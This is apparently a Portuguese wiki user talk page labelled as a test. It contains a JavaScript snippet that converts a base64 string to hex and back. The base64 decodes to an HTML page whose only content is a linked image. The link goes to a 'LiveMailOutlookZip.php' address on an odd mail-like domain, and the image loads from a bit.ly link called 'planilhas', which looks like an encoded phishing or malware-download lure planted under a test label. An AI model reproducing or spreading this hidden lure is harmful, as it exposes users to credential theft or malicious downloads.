Usuário(a) Discussão:Teste.sys/Testes

var hex, i;
var str = "PCFET0NUWVBFIEhUTUw+DQo8SFRNTCBsYW5nPWVuLVVTPg0KPEhFQUQ+PFRJVExFPkRPQ1RPUjwvVElUTEU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxQPjxBIGhyZWY9Imh0dHA6Ly9tYWlsbDM4OTEuY29tL3BsYW4vTGl2ZU1haWxPdXRsb29rWmlwLnBocCI+DQo8SU1HIGJvcmRlcj0wIGhzcGFjZT0wIGFsdD0iIiBhbGlnbj1iYXNlbGluZSBzcmM9Imh0dHA6Ly9iaXQubHkvcGxhbmlsaGFzOTMwIj4NCjwvQT48QlI+PEJSPjxCUj48QlI+PC9QPg0KPFA+Jm5ic3A7PC9QPg0KPFA+Jm5ic3A7PC9QPg0KPFA+LjxCUj48L1A+DQo8L0JPRFk+DQo8L0hUTUw+DQo="
var result = "";
for (i=0; i<str.length; i++) {
  hex = str.charCodeAt(i).toString(16);
  result += ("000"+hex).slice(-4);
}
var j;
var hexes = result.match(/.{1,4}/g) || [];
var back = "";
for(j = 0; j<hexes.length; j++) {
  back += String.fromCharCode(parseInt(hexes[j], 16));
console.log(back);
}
console.log(result);
console.log(hexes);
console.log(back);
Regressar à página do utilizador "Teste.sys/Testes".